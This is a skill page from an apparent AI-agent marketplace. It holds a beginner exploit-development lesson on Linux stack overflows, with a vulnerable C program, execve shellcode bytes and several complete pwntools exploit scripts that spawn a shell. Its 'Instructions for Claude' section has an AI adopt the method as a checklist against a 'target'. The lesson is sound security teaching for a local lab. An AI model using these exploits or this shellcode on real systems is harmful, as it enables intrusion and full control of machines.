Skip to content
FunCoding

Search

Search docs, Skills and MCP

offensive-basic-exploitation

安全7.4kSkills/exploit-dev/offensive-basic-exploitation/SKILL.md

Install

Send this to Claude Code, Codex or Cursor. The agent checks the Skill for safety first and installs it only after you confirm.

读取 https://funcoding.ai/skills/snailsploit/claude-red/offensive-basic-exploitation/install.md ,按里面的步骤帮我安装这个 Skill。

SKILL.md

SKILL: Week 5: Basic Exploitation (Linux with Mitigations Disabled)

Metadata

Description

Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.

Trigger Phrases

Use this skill when the conversation involves any of: basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5

Instructions for Claude

When this skill is active:

  1. Load and apply the full methodology below as your operational checklist
  2. Follow steps in order unless the user specifies otherwise
  3. For each technique, consider applicability to the current target/context
  4. Track which checklist items have been completed
  5. Suggest next steps based on findings

Full Methodology

Week 5: Basic Exploitation (Linux with Mitigations Disabled)

Overview

created by AnotherOne from @Pwn3rzs Telegram channel.

Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.

Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.

Learning Environment:

  • CPU arch (default): amd64 (x86-64)
  • OS: Ubuntu 24.04 LTS (Linux)
  • Compiler Flags: Disable protections (-fno-stack-protector, -no-pie, -z execstack for ret2shellcode labs, /GS-)
  • ASLR: Keep enabled system-wide; disable per-process (setarch -R) or in GDB (set disable-randomization on) for deterministic labs
  • Focus: Pure exploitation techniques without bypass complexity

Day 1: Environment Setup and Stack Overflow Fundamentals

  • Goal: Set up exploitation lab and understand stack buffer overflow mechanics.
  • Activities:

Context: QNAP Stack Overflow (CVE-2024-27130)

  • Recall the QNAP QTS Stack Overflow from Week 1? That was a classic stack buffer overflow caused by strcpy without bounds checking—exactly what we'll be exploiting today.
  • While modern systems have mitigations (which we'll disable for now), the underlying mechanic remains the same: overwriting the return address to hijack control flow.

Deliverables

  • Environment: ~/check_env.sh passes and you recorded its output
  • Binary: vuln1 built and verified with checksec
  • Primitive proof: RIP control demonstrated (controlled crash address)
  • Exploit: exploit1.py (or equivalent) spawns a shell reliably
  • Notes: brief writeup covering offset, return target, and payload layout

Setting Up the Lab Environment

Ubuntu VM Configuration:

Important

ASLR Policy: Keep ASLR enabled system-wide for security. Disable only per-process for labs. Never disable ASLR globally on a machine connected to the internet.

# ============================================================
# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)
# ============================================================
# Option 0: Disable ASLR system-wide
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf
# sudo sysctl --system

# Option 1: Disable in GDB (recommended for debugging)
# In GDB/pwndbg:
# (gdb) set disable-randomization on    # Default in GDB
# (gdb) set disable-randomization off   # If you want ASLR during debug

# Option 2: Disable for a single binary run
setarch x86_64 -R ./binary

# Option 3: In pwntools (for local process only)
# p = process('./binary', aslr=False)

# VERIFY: Check system ASLR is STILL ENABLED
cat /proc/sys/kernel/randomize_va_space
# Should output: 2 (full ASLR) - DO NOT change this!

# If you previously disabled ASLR system-wide, RE-ENABLE it:
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf  # Remove any persistent config

# ============================================================
# INSTALL ESSENTIAL TOOLS
# ============================================================

sudo apt update
sudo apt install -y \
    nasm \
    strace \
    ltrace \
    ruby \
    ruby-dev \
    libc6-dbg \
    checksec \
    patchelf

cd ~/crash_analysis_lab
source .venv/bin/activate
pip install ropgadget

# Install one_gadget (quick shell gadgets)
sudo gem install one_gadget

# Install radare2 (optional but useful)
cd ~/tools
git clone --depth 1 --branch master https://github.com/radareorg/radare2
cd radare2
sys/install.sh

# Check glibc version (important for heap exploitation)
ldd --version
# Ubuntu 24.04 ships with glibc 2.39

# ============================================================
# STANDARDIZED COMPILATION PROFILES (AMD64)
# ============================================================
# Create a Makefile with canonical build profiles for labs:

cat > ~/lab-Makefile << 'MAKEFILE'
# Lab Exploitation Makefile - AMD64 Only
# Usage: make <target> BINARY=myprogram SOURCE=myprogram.c

CC = gcc
SOURCE ?= vuln.c
BINARY ?= vuln

# Base flags for all builds (AMD64)
BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protector
BASE_LDFLAGS = -no-pie

# Training profiles:
# 0. disabled: most things disabled
# 1. training-shellcode: NX disabled, for ret2shellcode exercises
# 2. training-rop: NX enabled, for ROP/ret2libc exercises
# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises
# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails
# 5. format-sec: for format-security bugs

disabled: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-shellcode: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-rop: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-relro-off: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-full-relro: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

format-sec: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

# Show all protections
check:
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

clean:
	rm -f $(BINARY) *.o

.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check clean
MAKEFILE

echo "Makefile created at ~/lab-Makefile"
echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"

Note

Ubuntu 24.04:

  • Uses glibc 2.39 with full safe-linking and removed hooks
  • Requires python3-venv for pip package installation (PEP 668)
  • For classic heap techniques, consider using Docker with older Ubuntu

GDB Enhancement Options

Verify Setup:

mkdir -p exploit
cd exploit
cp ~/lab-Makefile ./Makefile
source ~/crash_analysis_lab/.venv/bin/activate

# Test pwntools
python3 -c "from pwn import *; print('pwntools OK')"

# Test compilation without protections (AMD64)
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
int main() {
    char buf[100];
    gets(buf);  // Vulnerable: reads from stdin, no bounds check
    return 0;
}
EOF

make training-shellcode BINARY=test SOURCE=test.c
#gcc -g -O0 -w -fno-stack-protector -z execstack -no-pie test.c -o test
# Should compile without errors (-w suppresses gets() warning)
# Check binary protections (should all be disabled)
# Use either: checksec (from apt) or pwn checksec (from pwntools)
# checksec --file=./test
# Or: pwn checksec ./test
# Expected output (may vary slightly by checksec version):
#     Arch:       amd64-64-little
#     RELRO:      Partial RELRO
#     Stack:      No canary found
#     NX:         NX unknown - GNU_STACK missing  (effectively disabled via -z execstack)
#     PIE:        No PIE (0x400000)
#     Stack:      Executable
#     RWX:        Has RWX segments
#     SHSTK:      Enabled    (Intel CET Shadow Stack - CPU feature, not binary)
#     IBT:        Enabled    (Intel CET Indirect Branch Tracking)
# Note: "NX unknown" with "Stack: Executable" means shellcode execution works

# ============================================================
# SANITY CHECK SCRIPT (Run Before Each Lab)
# ============================================================
cat > ~/check_env.sh << 'SCRIPT'
#!/bin/bash
# Lab Environment Sanity Check
# Run: ./check_env.sh [binary]

echo "=== Lab Environment Check ==="
echo ""

# System info
echo "[*] System Information:"
echo "    Kernel: $(uname -r)"
echo "    glibc:  $(ldd --version | head -1 | awk '{print $NF}')"
echo ""

# ASLR status
echo "[*] ASLR Status:"
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
case $ASLR in
    0) echo "    WARNING: ASLR is DISABLED system-wide (insecure!)" ;;
    1) echo "    Partial ASLR (stack only)" ;;
    2) echo "    Full ASLR enabled (correct for system)" ;;
esac
echo ""

# Binary check
if [ -n "$1" ] && [ -f "$1" ]; then
    echo "[*] Binary Analysis: $1"
    echo "    Architecture: $(file "$1" | grep -oE '(32|64)-bit')"
    checksec --file="$1" 2>/dev/null || pwn checksec "$1" 2>/dev/null
    echo ""
fi

# GDB randomization
echo "[*] GDB ASLR (check inside GDB with 'show disable-randomization'):"
echo "    Default: ON (disabled randomization = deterministic addresses)"
echo ""

echo "[+] Environment check complete."
echo "    For per-process ASLR disable: setarch x86_64 -R ./binary"
echo "    Or in pwntools: process('./binary', aslr=False)"
SCRIPT
chmod +x ~/check_env.sh
echo "Sanity check script created: ~/check_env.sh"
~/check_env.sh

pwntools Essentials

Before diving into exploitation, master these pwntools fundamentals. The ELF() class is your primary interface for analyzing binaries—use it throughout this course.

ELF() Basics:

cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
cp ~/crash_analysis_lab/vuln_no_protect .
#!/usr/bin/env python3
# ~/exploit/1.py
from pwn import *

# Load the binary and set context
elf = ELF('./vuln_no_protect')
context.binary = elf   # Auto-sets arch, os, endian, bits
context.arch = 'amd64' # Explicit (redundant if context.binary is set)

# Binary metadata (always check these first!)
print(f"Architecture: {elf.arch}")          # amd64
print(f"Bits: {elf.bits}")                   # 64
print(f"Endian: {elf.endian}")               # little
print(f"PIE enabled: {elf.pie}")             # True/False
print(f"Entry point: {hex(elf.entry)}")      # Where execution starts

# Security mitigations (same as checksec)
print(elf.checksec())

# Symbol lookup - CRITICAL for exploitation
print(f"main @ {hex(elf.symbols['main'])}")
print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")

# Find imported functions (from libc)
print(f"puts@plt: {hex(elf.plt['puts'])}")   # PLT stub
print(f"puts@got: {hex(elf.got['puts'])}")   # GOT entry

# Find gadgets and strings
print(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")

# For binaries linked with libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(f"system in libc: {hex(libc.symbols['system'])}")
print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")

Context Configuration (set BEFORE any pwntools operations):

# ~/exploit/2.py
from pwn import *

# === CRITICAL: Set context from binary (AMD64) ===
elf = ELF('./vuln_no_protect')
context.binary = elf     # Sets arch='amd64', os='linux', endian='little' automatically!

# Or set explicitly (redundant if context.binary is set)
# context.arch = 'amd64'
# context.os = 'linux'
# context.endian = 'little'

# Logging level
context.log_level = 'debug'  # Show all pwntools output
context.log_level = 'info'   # Normal output (default)
context.log_level = 'error'  # Only errors

# Data packing (architecture-aware after setting context)
addr = p64(0xdeadbeef)        # Pack 64-bit address (little-endian) - AMD64
val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # Unpack 8 bytes to integer

Understanding the Stack (AMD64)

Stack Layout (x86-64 / AMD64):

High Memory
┌─────────────────────┐
│  Command-line args  │
├─────────────────────┤
│  Environment vars   │
├─────────────────────┤
│        ...          │
├─────────────────────┤
│   Stack Frame N     │
│  ┌───────────────┐  │
│  │   Locals      │  │ ← RSP (Stack Pointer)
│  ├───────────────┤  │
│  │   Saved RBP   │  │ ← RBP (Base Pointer)
│  ├───────────────┤  │
│  │   Return Addr │  │ ← Overwrite target! (8 bytes on AMD64)
│  ├───────────────┤  │
│  │   (Args 7+)   │  │   (First 6 args in registers!)
│  └───────────────┘  │
├─────────────────────┤
│   Stack Frame N-1   │
├─────────────────────┤
│        ...          │
└─────────────────────┘
Low Memory

AMD64 vs x86 Key Differences:

Featurex86 (32-bit)AMD64 (64-bit)
Register prefixE (EAX, EBP, ESP)R (RAX, RBP, RSP)
Instruction pointerEIPRIP
Address size4 bytes8 bytes
ArgumentsAll on stackRDI, RSI, RDX, RCX, R8, R9
Return valueEAXRAX
Syscall instructionint 0x80syscall
Stack alignment4-byte16-byte before call

System V AMD64 ABI Calling Convention:

; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
;   RDI = arg1
;   RSI = arg2
;   RDX = arg3
;   RCX = arg4
;   R8  = arg5
;   R9  = arg6
;   stack = arg7+ (pushed right-to-left)
; Return value: RAX

; Example: write(1, buf, len)
mov rdi, 1        ; fd = stdout
mov rsi, buf      ; buffer address
mov rdx, len      ; length
call write

; Syscall convention (slightly different):
;   RAX = syscall number
;   RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
;   syscall instruction (not int 0x80)

Function Call Mechanics (AMD64):

; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function      ; Pushes 8-byte return address

; Inside function
function:
    push rbp          ; Save old base pointer (8 bytes)
    mov rbp, rsp      ; Set new base pointer
    sub rsp, 0x40     ; Allocate space for locals (must maintain 16-byte alignment)

    ; Function body...

    mov rsp, rbp      ; Restore stack pointer (or: leave)
    pop rbp           ; Restore base pointer
    ret               ; Return (pops return address into RIP)

Buffer Overflow Visualization (AMD64):

Before overflow:
┌──────────────────┐
│   buffer[64]     │ ← strcpy writes here
├──────────────────┤
│   saved RBP      │  (8 bytes on AMD64)
├──────────────────┤
│  return address  │  (8 bytes on AMD64)
└──────────────────┘

After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA...    │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← return address overwritten! (8 bytes)
└──────────────────┘

When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)

First Vulnerable Program

vuln1.c:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    printf("Enter input: ");
    gets(buffer);  // Vulnerable! No bounds checking, allows null bytes
    printf("You entered: %s\n", buffer);
}

// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
    __asm__("jmp *%rsp");  // This creates a jmp rsp gadget
}

int main() {
    printf("Buffer overflow example\n");
    vulnerable_function();
    printf("Returned safely\n");
    return 0;
}

Compile without protections (AMD64):

cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
#    -fno-stack-protector \
#    -fcf-protection=none \
#    -z execstack \
#    -no-pie \
#    -o vuln1 \
#    vuln1.c
#checksec --file=./vuln1
Finding the Offset

Step 1: Cause a Crash:

# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine

python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault

Step 2: Find Exact Offset (using pattern):

#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *

context.arch = 'amd64'

# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)

# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()

In GDB with pwndbg (AMD64):

gdb ./vuln1

# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")

# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72

# So offset is 72 bytes (64 buffer + 8 saved RBP)

Verify Offset (AMD64):

# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Build payload
payload = b"A" * 72                    # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe)     # Overwrite return address (8 bytes)

# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()

In GDB (AMD64):

gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")

# Program crashes at ret instruction
# Check the stack:
pwndbg> x/gx $rsp
# 0x7fffffffe0b8: 0xdeadbeefcafebabe   <- We control the return address!

Working Exploit for vuln1 (stdin-based)

#!/usr/bin/env python3
# ~/exploit/exploit_vuln1.py
"""
Stack Buffer Overflow Exploit Template (stdin-based)

Target: vuln1 (reads input via gets() from stdin)
Vulnerability: gets() has no bounds checking, allows null bytes
Technique: ret2shellcode via jmp rsp gadget
"""
from pwn import *

# ============ SETUP (AMD64) ============
binary_path = './vuln1'
elf = ELF(binary_path)
context.binary = elf  # Sets arch=amd64 automatically

# ============ OFFSETS ============
# vulnerable_function() has: char buffer[64]
# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]
OFFSET = 64 + 8  # = 72 bytes to overwrite return address

# ============ EXPLOIT ============
def exploit():
    # For LEARNING: Disable ASLR, clean environment for consistent addresses
    # For PRODUCTION: Use leaks and relative addressing
    # NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive
    #       before input is needed (otherwise printf buffers when piped)
    p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)

    # Alternatively, for remote targets:
    # p = remote('target.host', 1337)

    # Wait for prompt (important for synchronization!)
    p.recvuntil(b'Enter input: ')
    # ============ FIND GADGET ============
    # Our vuln1.c includes a jmp rsp gadget in gadgets()
    # Find it: ROPgadget --binary vuln1 | grep "jmp rsp"
    # Or use pwntools:
    rop = ROP(elf)
    try:
        jmp_rsp = rop.find_gadget(['jmp rsp'])[0]
    except:
        # Fallback: search for the bytes
        jmp_rsp = next(elf.search(asm('jmp rsp')))

    log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}")

    # ============ BUILD PAYLOAD ============
    # Shellcode goes AFTER the return address (we jump to RSP)
    shellcode = asm(shellcraft.amd64.linux.sh())
    log.info(f"Shellcode length: {len(shellcode)} bytes")

    payload = b'A' * OFFSET           # Fill buffer + saved RBP
    payload += p64(jmp_rsp)           # Overwrite return address with jmp rsp
    payload += shellcode              # Shellcode right after return addr
                                      # RSP points here after ret!

    log.info(f"Total payload: {len(payload)} bytes")

    # ============ SEND PAYLOAD ============
    # sendline() sends raw bytes over the pipe - null bytes work fine!
    # This is the proper way to deliver exploits
    p.sendline(payload)

    # ============ GET SHELL ============
    log.success("Payload sent! Switching to interactive mode...")
    p.interactive()

def debug():
    """Debug mode - attach GDB manually"""
    p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
    log.info("Run the following commands in a SECOND terminal")
    log.info("gdb -p $(pidof vuln1)")
    log.info("b vulnerable_function")
    log.info("c")
    pause()

    p.recvuntil(b'Enter input: ')
    payload = cyclic(200)
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    if args.GDB:
        debug()
    else:
        exploit()

# Usage:
# python3 exploit_vuln1.py           - Run exploit
# python3 exploit_vuln1.py GDB       - Debug with GDB attached
#
# Why stdin (not argv)?
# 1. Real exploits use network sockets or file input, not CLI args
# 2. pwntools handles null bytes transparently over pipes
# 3. Works identically for local process() and remote()
# 4. No shell escaping issues or argument parsing problems
Writing Simple Shellcode

Linux AMD64 Shellcode Basics:

Syscall Convention (AMD64):

  • syscall instruction triggers syscall (NOT int 0x80!)
  • rax = syscall number
  • rdi, rsi, rdx, r10, r8, r9 = arguments (note: r10 instead of rcx)
  • Return value in rax

execve("/bin/sh", NULL, NULL) Shellcode (AMD64):

; AMD64 execve syscall (rax = 59)
; rdi = pointer to "/bin/sh"
; rsi = NULL (argv)
; rdx = NULL (envp)

section .text
global _start

_start:
    ; Clear registers
    xor rsi, rsi          ; rsi = NULL (argv)
    xor rdx, rdx          ; rdx = NULL (envp)

    ; Push "/bin/sh" onto stack (with NULL terminator)
    xor rax, rax
    push rax              ; NULL terminator
    mov rax, 0x68732f6e69622f2f  ; "//bin/sh" in little-endian
    push rax

    ; Set up execve
    mov rdi, rsp          ; rdi = pointer to "//bin/sh"
    xor rax, rax
    mov al, 59            ; rax = 59 (execve syscall number)

    ; Execute
    syscall               ; Trigger syscall (NOT int 0x80!)

Assemble and Extract Bytes (AMD64):

cd ~/exploit
# Save as shellcode.asm
nasm -f elf64 shellcode.asm -o shellcode.o
ld -o shellcode shellcode.o

# Extract shellcode bytes
objdump -d shellcode -M intel

# Or use this one-liner
for i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo

Result (23 bytes AMD64 shellcode):

shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"

Test Shellcode Standalone (AMD64):

#!/usr/bin/env python3
#~/exploit/6.py
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# Generate shellcode with pwntools (preferred - handles arch automatically)
shellcode = asm(shellcraft.amd64.linux.sh())

# Method 1: Use run_shellcode (simplest)
p = run_shellcode(shellcode)
p.interactive()
# Should get shell!

# Method 2: Create executable and run
# Useful for debugging
#with open('/tmp/sc.bin', 'wb') as f:
#    f.write(shellcode)
Complete Exploit

exploit1.py (AMD64):

#!/usr/bin/env python3
"""
Stack Buffer Overflow Exploit for vuln1 (AMD64)

Technique: Direct ret2shellcode via stdin
Target: vuln1 (no protections, stdin-based input)

Run with: python exploit1.py
"""

from pwn import *

# Configuration
binary = './vuln1'
elf = ELF(binary)
context.binary = elf  # Sets arch=amd64 automatically
offset = 72  # 64 buffer + 8 saved RBP

# Shellcode with stack pivot to prevent self-destruction
# The pwntools shellcode uses push instructions which write backwards on the stack.
# After ret, RSP points just past our payload - push would overwrite our shellcode!
# Solution: Move RSP away first with "sub rsp, 0x100"
stack_pivot = asm('sub rsp, 0x100')
shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())

def exploit():
    # Start process with ASLR disabled using setarch wrapper
    # env={} clears environment variables for consistent stack addresses
    p = process(['setarch', 'x86_64', '-R', binary], env={})

    # Get buffer address by analyzing a crash:
    # 1. Generate payload with dummy address:
    #    python3 -c "from pwn import *; ..." > payload.bin
    # 2. Run and get core dump:
    #    ulimit -c unlimited
    #    env -i setarch x86_64 -R ./vuln1 < payload.bin
    # 3. Analyze core to find actual buffer location:
    #    gdb ./vuln1 core
    #    RSP after ret shows where we are on stack
    #    Buffer = (saved RBP location) - 0x40
    #
    # Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses
    # found in GDB need adjustment for standalone execution.
    buffer_addr = 0x7fffffffecc0

    # Build payload:
    # [NOP sled][stack_pivot + shellcode][padding][return address -> buffer]
    payload = b"\x90" * 16            # NOP sled for tolerance
    payload += shellcode              # Stack pivot + shellcode
    payload += b"A" * (offset - len(payload))  # Padding to fill offset
    payload += p64(buffer_addr)       # Return to start of buffer (8 bytes)

    log.info(f"Shellcode length: {len(shellcode)}")
    log.info(f"Total payload: {len(payload)}")
    log.info(f"Jumping to: {hex(buffer_addr)}")

    # Send payload via stdin
    p.sendline(payload)

    # Interact with shell
    p.interactive()

if __name__ == "__main__":
    exploit()

Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):

Tip

Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution, different terminals, environment sizes, etc. A jmp rsp or call rsp gadget provides a stable return target since RSP points to our controlled data after ret.

#!/usr/bin/env python3
#~/exploit/exploit2.py
"""
ret2shellcode using jmp rsp gadget (AMD64)

This approach is more reliable than hardcoded stack addresses because:
- Works regardless of environment variable differences
- No need to guess exact stack layout
- RSP points to our shellcode right after ret executes
"""
from pwn import *

binary = './vuln1'
elf = ELF(binary)
context.binary = elf  # Sets arch=amd64

def find_jmp_rsp():
    """Find a jmp rsp or call rsp gadget in the binary"""
    # Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4)
    try:
        jmp_rsp = next(elf.search(asm('jmp rsp')))
        log.success(f"Found jmp rsp at {hex(jmp_rsp)}")
        return jmp_rsp
    except StopIteration:
        pass

    try:
        call_rsp = next(elf.search(asm('call rsp')))
        log.success(f"Found call rsp at {hex(call_rsp)}")
        return call_rsp
    except StopIteration:
        pass

    # Try ROPgadget as fallback
    log.warning("No jmp/call rsp in binary, trying ROPgadget...")
    # Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp"
    return None

def exploit():
    offset = 72  # 64 buffer + 8 saved RBP (AMD64)

    # Find jmp rsp gadget
    jmp_rsp = find_jmp_rsp()
    if not jmp_rsp:
        log.error("No jmp rsp gadget found! Use fixed address method instead.")
        return

    # Shellcode (placed AFTER return address)
    shellcode = asm(shellcraft.amd64.linux.sh())

    # Payload layout:
    # [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode]
    # After ret: RIP = jmp_rsp, RSP points to nop sled
    payload = b"A" * offset           # Fill buffer + saved RBP
    payload += p64(jmp_rsp)           # Return to jmp rsp (8 bytes!)
    payload += b"\x90" * 16           # NOP sled (RSP lands here)
    payload += shellcode              # Shellcode executes

    # Launch and send via stdin
    p = process(binary)
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()

Debugging Your Exploit

When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.

Method 1: GDB Attach with pwntools

#!/usr/bin/env python3
#~/exploit/exploit_debug.py
from pwn import *

elf = ELF('./vuln1')
context.binary = elf  # Sets arch=amd64

# Start process with ASLR disabled and clean env for learning
p = process('./vuln1', aslr=False, env={})

# Print PID and pause - attach GDB manually in another terminal/SSH session
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")

# Build and send payload (AMD64)
payload = b'A' * 72 + p64(0xdeadbeefcafe)
p.sendline(payload)

# Interact with the process
p.interactive()

Usage:

# Terminal 1: Run exploit
python exploit_debug.py
# It will print PID and wait...

# Terminal 2: Attach GDB
gdb -p <PID>
(gdb) break *vulnerable_function+74
(gdb) continue
# Press Enter in Terminal 1 to send payload

Example Debug Session Output:

After hitting the breakpoint at ret, you'll see something like:

pwndbg> # At ret instruction - examine the stack
pwndbg> x/20gx $rsp-0x60
0x7ffd11d25cb8: 0x0000000000403e00      0x00007ffd11d25d10
0x7ffd11d25cc8: 0x000000000040118e      0x4141414141414141  <- Buffer starts here
0x7ffd11d25cd8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25ce8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25cf8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25d08: 0x4141414141414141      0x4141414141414141  <- Saved RBP (overwritten)
0x7ffd11d25d18: 0x0000deadbeefcafe      0x00007ffd11d25d00  <- Return address (overwritten)

Interpreting the output:

  • Buffer address: 0x7ffd11d25cd0 (first A's at offset 0x8 from 0x7ffd11d25cc8)
  • Our A's (0x4141414141414141) fill 64 bytes of buffer + 8 bytes of saved RBP
  • Return address at 0x7ffd11d25d18 contains our value 0xdeadbeefcafe
  • Offset confirmed: 72 bytes (64 buffer + 8 saved RBP) before return address

Method 2: Step-by-Step GDB Analysis (AMD64)

# Start GDB with ASLR disabled for consistent addresses
env -i setarch x86_64 -R gdb ./vuln1

# Set breakpoint at ret instruction (vulnerable_function+74)
pwndbg> break *vulnerable_function+74
pwndbg> run

# Program waits for input - type pattern to find offset:
Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

# At breakpoint, examine key registers:
pwndbg> info registers rbp rsp rip
# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP
# RSP points to return address location

# View stack layout around buffer:
pwndbg> x/20gx $rsp-0x60

# Find buffer address:
pwndbg> print $rbp - 0x40             # Buffer is at [rbp - 0x40] before overflow
# Or calculate from current RSP:
# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72

# Step into ret to see crash:
pwndbg> si
# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)

# For automated testing with payload file:
#pwndbg> run < payload.bin

Common Debugging Scenarios:

SymptomLikely CauseDebug Command
Crash at wrong addressOffset incorrectcyclic -l <crash_addr>
Crash at correct addr but no shellShellcode bad or wrong locationx/20i <shellcode_addr>
"Illegal instruction"Bad shellcode or architecture mismatchCheck context.binary
